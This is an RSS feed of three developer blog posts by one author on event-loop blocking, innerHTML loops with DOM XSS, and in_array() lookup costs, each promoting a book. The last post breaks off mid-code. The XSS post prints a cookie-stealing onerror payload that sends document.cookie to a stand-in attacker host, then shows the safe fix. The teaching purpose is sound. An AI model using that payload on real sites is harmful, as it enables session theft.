<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Akeem O. Salau</title>
    <description>The latest articles on DEV Community by Akeem O. Salau (@obrainwave).</description>
    <link>https://dev.to/obrainwave</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3960157%2F7f891c66-c2e4-4aa7-b153-dac6e54fc06e.jpg</url>
      <title>DEV Community: Akeem O. Salau</title>
      <link>https://dev.to/obrainwave</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/obrainwave"/>
    <language>en</language>
    <item>
      <title>Blocking the Event Loop: The Quiet Way Your App Falls Apart at 2PM on a Tuesday</title>
      <dc:creator>Akeem O. Salau</dc:creator>
      <pubDate>Thu, 23 Jul 2026 20:39:33 +0000</pubDate>
      <link>https://dev.to/obrainwave/blocking-the-event-loop-the-quiet-way-your-app-falls-apart-at-2pm-on-a-tuesday-39hf</link>
      <guid>https://dev.to/obrainwave/blocking-the-event-loop-the-quiet-way-your-app-falls-apart-at-2pm-on-a-tuesday-39hf</guid>
      <description>&lt;p&gt;Picture this. Your app has been running fine for months. No crashes, no alarms, nothing that would make you lose sleep. Then one afternoon, during your busiest hour, everything just stalls. Requests pile up. Users hit refresh, then refresh again. Your dashboard shows CPU usage sitting comfortably at 40 percent, which makes no sense because if the server has capacity left, why does it feel like the whole app is holding its breath?&lt;/p&gt;

&lt;p&gt;The answer is almost never "the server is overloaded." The answer, more often than any team wants to admit, is that somewhere in the code a single operation is blocking the event loop, and everything else is waiting in line behind it.&lt;/p&gt;

&lt;p&gt;This is one of those bugs that doesn't announce itself. It doesn't throw an exception. It doesn't show up in error logs. It just quietly taxes every single request that comes in after it, and by the time anyone notices the pattern, it has already cost real money, real users, and in some cases, real trust.&lt;/p&gt;

&lt;h2&gt;
  
  
  What "Blocking the Event Loop" Actually Means
&lt;/h2&gt;

&lt;p&gt;If you write JavaScript on &lt;code&gt;Node.js&lt;/code&gt;, you already know the event loop is the engine that lets a single thread handle thousands of concurrent connections. It works by constantly checking a queue: is there a callback ready to run? Run it. Is there another? Run that too. The trick is that each task is supposed to be short. Hand off the heavy lifting like file reads, database calls, and network requests to the system, then come back when the result is ready.&lt;/p&gt;

&lt;p&gt;The problem starts when a piece of code refuses to hand anything off. A synchronous loop that processes 50,000 records in memory. A regular expression that backtracks catastrophically on a strange input. A &lt;code&gt;JSON.stringify&lt;/code&gt; call on a payload nobody expected to be that large. None of these are asynchronous by nature, so the event loop cannot step aside and serve another request while they run. It has to finish that one operation first, no matter how many other users are waiting.&lt;/p&gt;

&lt;p&gt;Python developers hit a version of this too, even though the language wasn't originally built around a single event loop the way Node was. Once you adopt asyncio for a FastAPI service or an async worker, the same rule applies. Call a blocking library function, a synchronous ORM query, or a CPU heavy computation inside an async route, and you have just frozen every other coroutine scheduled on that same loop. The async keyword gives a false sense of safety. Writing &lt;code&gt;async def&lt;/code&gt; does not make your code non blocking. It only makes it capable of being non blocking if you never call something synchronous inside it.&lt;/p&gt;

&lt;p&gt;PHP tells a slightly different story, because the traditional &lt;code&gt;PHP-FPM&lt;/code&gt; model spins up a new process per request, so one slow request doesn't directly starve another the way it does in Node. But the moment a team adopts something like &lt;strong&gt;Swoole&lt;/strong&gt;, &lt;strong&gt;ReactPHP&lt;/strong&gt;, or long running workers to squeeze more performance out of PHP, that isolation disappears. Now a single blocking database call, a slow file write, or an unbounded loop can stall an entire worker that was supposed to be serving hundreds of clients concurrently. Teams migrating from traditional PHP to async PHP frameworks often carry old blocking habits straight into a new environment that punishes them far more severely.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Real Cost, In Numbers Teams Actually Feel
&lt;/h2&gt;

&lt;p&gt;This isn't an academic problem. A payment gateway integration that does synchronous JSON parsing on a large webhook payload can add hundreds of milliseconds to every single request behind it in the queue, and during a flash sale, that queue can be hundreds of requests deep within seconds. A chat application where one user's message triggers a synchronous image resize can freeze typing indicators for every other user connected to that same server instance. A reporting endpoint that loops through a large dataset in memory instead of paginating the query can take down an entire API for two or three seconds at a time, several times a day, at exactly the moments when traffic is highest.&lt;/p&gt;

&lt;p&gt;None of these failures show up as "the server crashed." They show up as p95 latency creeping upward, as support tickets that say "the app feels slow sometimes," as churn that nobody can point to a root cause for. Event loop blocking rarely takes a system down in one dramatic moment. It bleeds performance quietly, request after request, until someone finally profiles the app and finds the one function that has been sitting there the whole time, hogging the thread.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Smart Developers Still Make This Mistake
&lt;/h2&gt;

&lt;p&gt;The uncomfortable truth is that this isn't a beginner mistake. Senior engineers write blocking code inside async functions all the time, usually because the blocking part doesn't look blocking. A third party SDK that wraps a synchronous HTTP client. A logging library that writes to disk synchronously by default. A cryptographic hashing function that takes 300 milliseconds on a large input and nobody thought to check. A recursive function that occasionally receives deeply nested input and spirals into a computation that eats the thread alive.&lt;/p&gt;

&lt;p&gt;The event loop doesn't care about intent. It doesn't care that your function is "usually fast." It only cares whether the operation you just called returns control back to it quickly or not. And most teams don't find out where they crossed that line until production tells them, usually during the worst possible week to be debugging it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Spotting It Before It Spots You
&lt;/h2&gt;

&lt;p&gt;A few signals are worth watching for before things get bad. Rising tail latency (p95 and p99) while average latency looks fine is a classic tell, since it usually means a handful of requests are stalling everyone behind them. CPU usage that looks moderate while your app still feels sluggish under load is another, because event loop blocking often looks nothing like a resource exhaustion problem on a dashboard. And if you've never profiled your event loop lag directly, that's usually the first gap worth closing, since most teams are flying blind on this specific metric until something forces their hand.&lt;/p&gt;

&lt;p&gt;Diagnosing it properly, and fixing it without introducing new bugs, is a deeper conversation than one blog post can hold. It touches worker threads, task queues, chunked processing, offloading to background jobs, and knowing exactly which library calls in your stack are quietly synchronous when you assumed they weren't.&lt;/p&gt;

&lt;h2&gt;
  
  
  This Is Exactly the Kind of Mistake Code Crimes Was Written to Catch
&lt;/h2&gt;

&lt;p&gt;I wrote Code Crimes: Security &amp;amp; Performance Mistakes in Modern Code because bugs like this one rarely get taught properly. They get discovered the hard way, in production, under pressure, by developers who are good at their jobs but were never shown what a blocking call actually looks like disguised as an innocent line of code.&lt;/p&gt;

&lt;p&gt;The book walks through real world cases across Python, PHP, and JavaScript, the three languages most of us are actually shipping in today. Each "crime" is presented the way it really happens: the code that looked fine in review, the impact it had once it hit real traffic or a real attacker, and the professional fix that actually holds up, not just a patch that hides the symptom.&lt;/p&gt;

&lt;p&gt;Event loop blocking is one of the performance crimes covered in depth, alongside a long list of security mistakes that quietly put real applications and real users at risk. If you've ever shipped code that looked correct, passed review, and still caused a problem three months later, this book was written with you in mind.&lt;/p&gt;

&lt;p&gt;You can read more about it here: &lt;a href="https://zuqolab.com/blog/code-crimes-the-book-every-developer-needs-before-their-next-code-review" rel="noopener noreferrer"&gt;Code Crimes: The Book Every Developer Needs Before Their Next Code Review&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And if you're ready to see which of these crimes might already be sitting in your own codebase, you can grab the book on Amazon here: &lt;a href="https://www.amazon.com/dp/B0H678BFCK" rel="noopener noreferrer"&gt;https://www.amazon.com/dp/B0H678BFCK&lt;/a&gt;&lt;/p&gt;

</description>
      <category>eventloopblocking</category>
      <category>pythonasynciomistakes</category>
      <category>codecrimesbook</category>
      <category>seniordevelopermistakes</category>
    </item>
    <item>
      <title>The innerHTML Loop Disaster: Massive Reflows and Blatant DOM XSS in One Line</title>
      <dc:creator>Akeem O. Salau</dc:creator>
      <pubDate>Fri, 17 Jul 2026 21:16:42 +0000</pubDate>
      <link>https://dev.to/obrainwave/the-innerhtml-loop-disaster-massive-reflows-and-blatant-dom-xss-in-one-line-1k2c</link>
      <guid>https://dev.to/obrainwave/the-innerhtml-loop-disaster-massive-reflows-and-blatant-dom-xss-in-one-line-1k2c</guid>
      <description>&lt;p&gt;A comment section that used to feel instant now stutters every time someone posts. Scrolling gets choppy. Typing in the reply box lags half a second behind every keystroke. The team assumes it is a server problem, so they check the API response time. It is fine. They check the database. It is fine.&lt;/p&gt;

&lt;p&gt;Then, a few weeks later, a much worse report comes in. Someone posted a comment, and every single visitor who viewed that page got redirected to a strange login page and had their session hijacked.&lt;/p&gt;

&lt;p&gt;Two separate incidents. Same root cause. Same line of code, sitting quietly inside a loop.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;comments&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;comment&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;commentSection&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="s2"&gt;`&amp;lt;div class="comment"&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;comment&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;/div&amp;gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It looks completely reasonable. Loop through the comments, append each one to the page. Every JavaScript developer has written something close to this at least once. That is exactly why this crime is so common. It reads like the obvious way to build a list, and it quietly commits two separate offenses at the same time, one against performance and one against security.&lt;/p&gt;

&lt;h2&gt;
  
  
  Crime One: The Reflow Disaster
&lt;/h2&gt;

&lt;p&gt;Every time you write &lt;code&gt;element.innerHTML += something&lt;/code&gt;, the browser does not simply tack the new content onto the end. It has to take everything currently inside that element, serialize it back into an HTML string, glue your new piece onto it, throw away every existing node inside that container, and parse the entire combined string from scratch into brand new DOM nodes.&lt;/p&gt;

&lt;p&gt;Inside a loop, that means for a hundred comments, the browser is not doing a hundred small operations. It is re-parsing a string that grows a little longer on every pass, rebuilding the entire comment section from zero, one hundred separate times. Each of those rebuilds forces the browser to recalculate layout (a reflow) and repaint the screen. This is the classic recipe for what is known as layout thrashing, and it is why a "simple" list of a few hundred items can visibly freeze a page on a mid range phone.&lt;/p&gt;

&lt;p&gt;There is a second, quieter cost buried in there too. Because the entire container gets torn down and rebuilt on every iteration, any existing DOM state inside it gets destroyed along the way. Event listeners attached to earlier comments disappear. If a user had focus in an input field inside that container, they lose it, mid keystroke. Video players restart. Scroll position resets. None of that is a coincidence. It is the direct, unavoidable result of destroying and recreating the entire subtree on every single loop iteration.&lt;/p&gt;

&lt;h2&gt;
  
  
  Crime Two: The Blatant DOM XSS
&lt;/h2&gt;

&lt;p&gt;The second crime hiding in that same line is worse, because it is not a performance annoyance. It is an open door.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;innerHTML&lt;/code&gt; does not just insert text. It parses whatever string you hand it as real HTML and executes it accordingly. If comment.text contains plain words, you get a paragraph. If it contains something like this instead,&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;x&lt;/span&gt; &lt;span class="na"&gt;onerror=&lt;/span&gt;&lt;span class="s"&gt;"fetch('https://attacker.site/steal?c='+document.cookie)"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;the browser does not print that as harmless text. It builds a real image element, the image fails to load because "x" is not a valid source, and the onerror handler fires, running the attacker's JavaScript inside your page, with full access to cookies, local storage, and anything else your session can reach.&lt;/p&gt;

&lt;p&gt;This is a textbook DOM based cross site scripting vulnerability, and it is one of the most well documented mistakes in front end security. The OWASP Foundation's own guidance on the subject is blunt about it. The fix is not clever encoding tricks. It is simply refusing to let user controlled data reach &lt;code&gt;innerHTML&lt;/code&gt; in the first place.&lt;/p&gt;

&lt;p&gt;Because the vulnerable comment is rendered inside a loop, every single visitor who loads that page becomes a fresh victim. One malicious comment, submitted once, quietly attacks every person who scrolls past it. No phishing email required. No link for anyone to click. Just a normal page load.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Real World Impact
&lt;/h2&gt;

&lt;p&gt;Picture any feature that renders a list of user generated content on page load. Comment sections. Chat messages. Product reviews. Notification feeds. Support ticket threads. Anywhere a list of items comes from users and gets rendered in a loop is a candidate for exactly this pattern.&lt;/p&gt;

&lt;p&gt;The performance side alone is enough to hurt retention. Users on older phones or slower connections abandon interfaces that stutter and lag, and they rarely file a bug report explaining why. They just leave.&lt;/p&gt;

&lt;p&gt;The security side is far more serious. A single stored DOM XSS payload in a comment, a bio field, or a chat message can silently harvest session tokens from every visitor who views it, long after the attacker has moved on. It can deface the page for every viewer, redirect them, or quietly log their keystrokes. Because the payload lives inside ordinary looking user content, it can sit undetected for a long time before anyone notices something is wrong.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Professional Fix
&lt;/h2&gt;

&lt;p&gt;The good news is that one fix solves both crimes at the same time, because the root problem in both cases is the same habit, treating raw user text as if it were safe, structural HTML.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Before: reflow disaster and DOM XSS in one line&lt;/span&gt;
&lt;span class="nx"&gt;comments&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;comment&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;commentSection&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="s2"&gt;`&amp;lt;div class="comment"&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;comment&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;/div&amp;gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="c1"&gt;// After: one reflow, zero script execution&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;fragment&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createDocumentFragment&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="nx"&gt;comments&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;comment&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;div&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;div&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;div&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;className&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;comment&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nx"&gt;div&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;textContent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;comment&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// treated as plain text, never parsed as HTML&lt;/span&gt;
    &lt;span class="nx"&gt;fragment&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;appendChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;div&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="nx"&gt;commentSection&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;appendChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fragment&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// single DOM write, single reflow&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This rewrite fixes both problems for a different reason each. &lt;code&gt;document.createDocumentFragment()&lt;/code&gt; builds the entire list of comments in memory, completely detached from the live page, and only touches the real DOM once, at the very end. That collapses however many reflows down to exactly one, and it stops shredding existing nodes, event listeners, and focus state on every pass.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;textContent&lt;/code&gt; fixes the security half. It inserts the string as literal text, full stop. If comment.text contains &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags or an &lt;code&gt;onerror&lt;/code&gt; handler, the browser displays those characters on the screen instead of executing them. There is nothing left to sanitize, because nothing gets interpreted as markup in the first place.&lt;/p&gt;

&lt;p&gt;If a feature genuinely needs to render rich HTML from user submitted content, such as a comment editor that allows bold text or links, the fix is to run that content through a dedicated sanitization library like &lt;code&gt;DOMPurify&lt;/code&gt; before it ever touches &lt;code&gt;innerHTML&lt;/code&gt;, rather than trusting it directly.&lt;/p&gt;

&lt;h2&gt;
  
  
  This Mistake Is Not Only a JavaScript Problem
&lt;/h2&gt;

&lt;p&gt;The same underlying crime, trusting user input as safe markup, shows up wearing different syntax in every language. In PHP, it is echoing a form value straight into a page without &lt;code&gt;htmlspecialchars()&lt;/code&gt;. In Python, it is a template engine rendering a string marked as |safe or &lt;code&gt;Markup()&lt;/code&gt; when that string actually came from a user. Different keyword, same open door.&lt;/p&gt;

&lt;p&gt;That is really the whole idea behind the pattern. The language changes. The specific function name changes. The underlying mistake, letting untrusted data cross straight from user input into something the browser or server treats as executable structure, stays exactly the same.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where This Fits Into the Bigger Picture
&lt;/h2&gt;

&lt;p&gt;This is exactly the kind of everyday, easy to miss crime covered in &lt;strong&gt;Code Crimes: Security &amp;amp; Performance Mistakes in Modern Code&lt;/strong&gt;. The book walks through more than two hundred real vulnerability and performance case studies across Python, PHP, and JavaScript, breaking each one down into what the mistake actually is, what it costs in a real production system, and the professional fix a senior engineer reaches for.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;innerHTML&lt;/code&gt; loop disaster covered here is just one chapter's worth. The book also covers SQL injection shortcuts, insecure defaults, N plus one queries, authentication mistakes, and dozens of other patterns that look completely normal until real traffic and real attackers show up.&lt;/p&gt;

&lt;p&gt;You can read more about the book here: &lt;a href="https://zuqolab.com/blog/code-crimes-the-book-every-developer-needs-before-their-next-code-review" rel="noopener noreferrer"&gt;Code Crimes: The Book Every Developer Needs Before Their Next Code Review&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Or grab it directly on Amazon: &lt;a href="https://www.amazon.com/dp/B0H678BFCK" rel="noopener noreferrer"&gt;https://www.amazon.com/dp/B0H678BFCK&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If a single line of "obvious" code inside a loop can freeze your interface and open a security hole at the same time, it is worth taking a second look at every loop in your codebase that touches &lt;code&gt;innerHTML&lt;/code&gt;.&lt;/p&gt;

</description>
      <category>domxss</category>
      <category>innerhtml</category>
      <category>javascriptsecurity</category>
      <category>codecrimesbook</category>
    </item>
    <item>
      <title>Linear Search Bottlenecks: How in_array() Inside a Loop Quietly Wrecks Your App's Speed</title>
      <dc:creator>Akeem O. Salau</dc:creator>
      <pubDate>Mon, 13 Jul 2026 23:56:29 +0000</pubDate>
      <link>https://dev.to/obrainwave/linear-search-bottlenecks-how-inarray-inside-a-loop-quietly-wrecks-your-apps-speed-41f6</link>
      <guid>https://dev.to/obrainwave/linear-search-bottlenecks-how-inarray-inside-a-loop-quietly-wrecks-your-apps-speed-41f6</guid>
      <description>&lt;p&gt;Your app works fine with two hundred users. Then it hits two hundred thousand, and it crawls.&lt;/p&gt;

&lt;p&gt;Nobody touched the database. Nobody added a slow third party API call. The support tickets start coming in about pages that take eight, ten, sometimes fifteen seconds to load. The team checks the server. The server is fine. They check the queries. The queries are fine. Everyone assumes it must be something big and dramatic.&lt;/p&gt;

&lt;p&gt;It almost never is. Most of the time, the real bug is one small, ordinary looking line sitting quietly inside a loop, doing exactly what it was written to do, just far too many times.&lt;/p&gt;

&lt;p&gt;That line usually looks like this in PHP.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;in_array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$userId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$bannedUsers&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// block access&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or like this in JavaScript.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;allowedIds&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// grant access&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or like this in Python.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;user_id&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;banned_users&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="c1"&gt;# deny access
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;None of these lines look dangerous. They read like plain English. That is exactly the problem. They are so easy to write and so easy to trust that almost nobody stops to ask what is happening underneath them, especially when they end up inside a loop that runs for every user, every product, or every request.&lt;/p&gt;

&lt;h2&gt;
  
  
  What &lt;code&gt;in_array()&lt;/code&gt; Is Actually Doing
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;in_array()&lt;/code&gt;, &lt;code&gt;.includes()&lt;/code&gt;, and Python's &lt;code&gt;in&lt;/code&gt; keyword all do the same basic job when checking membership in a list or array. They perform a linear search. That means the function starts at the first element and checks it, then the second, then the third, and keeps going one by one until it either finds a match or reaches the end of the list.&lt;/p&gt;

&lt;p&gt;In computer science terms, that is &lt;code&gt;O(n)&lt;/code&gt; complexity. The time it takes grows in a straight line with the size of the array. Check ten items and it is instant. Check ten thousand items and you will actually feel it. Check ten thousand items thousands of times inside a loop, and you have just built an &lt;strong&gt;O(n times m)&lt;/strong&gt; bottleneck, which is the technical way of saying "this gets exponentially worse as your data grows."&lt;/p&gt;

&lt;p&gt;Here is the pattern that causes it almost every time.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$bannedUsers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;getBannedUserList&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// 15,000 entries&lt;/span&gt;

&lt;span class="k"&gt;foreach&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$allRequests&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;in_array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'user_id'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nv"&gt;$bannedUsers&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// reject&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If &lt;code&gt;$allRequests&lt;/code&gt; has 10,000 entries and &lt;code&gt;$bannedUsers&lt;/code&gt; has 15,000 entries, that inner &lt;code&gt;in_array()&lt;/code&gt; call can run up to 15,000 comparisons, and it does that for every single one of the 10,000 requests. That is potentially 150 million comparisons to answer a question that should take microseconds.&lt;/p&gt;

&lt;p&gt;This is not a rare or exotic mistake. It shows up in permission checks, blacklists and whitelists, duplicate detection, tag matching, category filtering, and anywhere a developer needs to ask "is this thing in that list" while looping over a second collection.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Numbers Do Not Lie
&lt;/h2&gt;

&lt;p&gt;This is not a theoretical concern. Independent benchmarks on real PHP arrays have shown &lt;code&gt;in_array()&lt;/code&gt; taking several seconds to search a large dataset repeatedly, while the hash based alternative finishes the same job in a few hundredths of a second on identical hardware. That is not a small gap. That is the difference between a page that feels instant and one that makes a user close the tab.&lt;/p&gt;

&lt;p&gt;The frustrating part is that this bug is invisible during development. Your local test array has twelve items. Your staging environment has two hundred. Everything performs beautifully. Then the product succeeds, real users show up, the dataset grows into the thousands or millions, and the exact same code that sailed through every code review becomes the reason your server is on fire during a traffic spike.&lt;/p&gt;

&lt;p&gt;A job platform matching candidates against a growing skills list. An e-commerce store checking product IDs against a large catalog on every page view. An authentication layer validating a user against a permissions array on every single request. These are not edge cases. This is the everyday shape of a real, growing application, and it is exactly where this crime hides.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Professional Fix
&lt;/h2&gt;

&lt;p&gt;The fix does not require a new library, a caching layer, or a rewrite. It requires changing the shape of the data you are searching, from a plain list into a structure built for instant lookups.&lt;/p&gt;

&lt;h2&gt;
  
  
  PHP: flip it into keys and use &lt;code&gt;isset()&lt;/code&gt;
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Before: O(n) per check&lt;/span&gt;
&lt;span class="nv"&gt;$bannedUsers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;getBannedUserList&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="k"&gt;foreach&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$allRequests&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
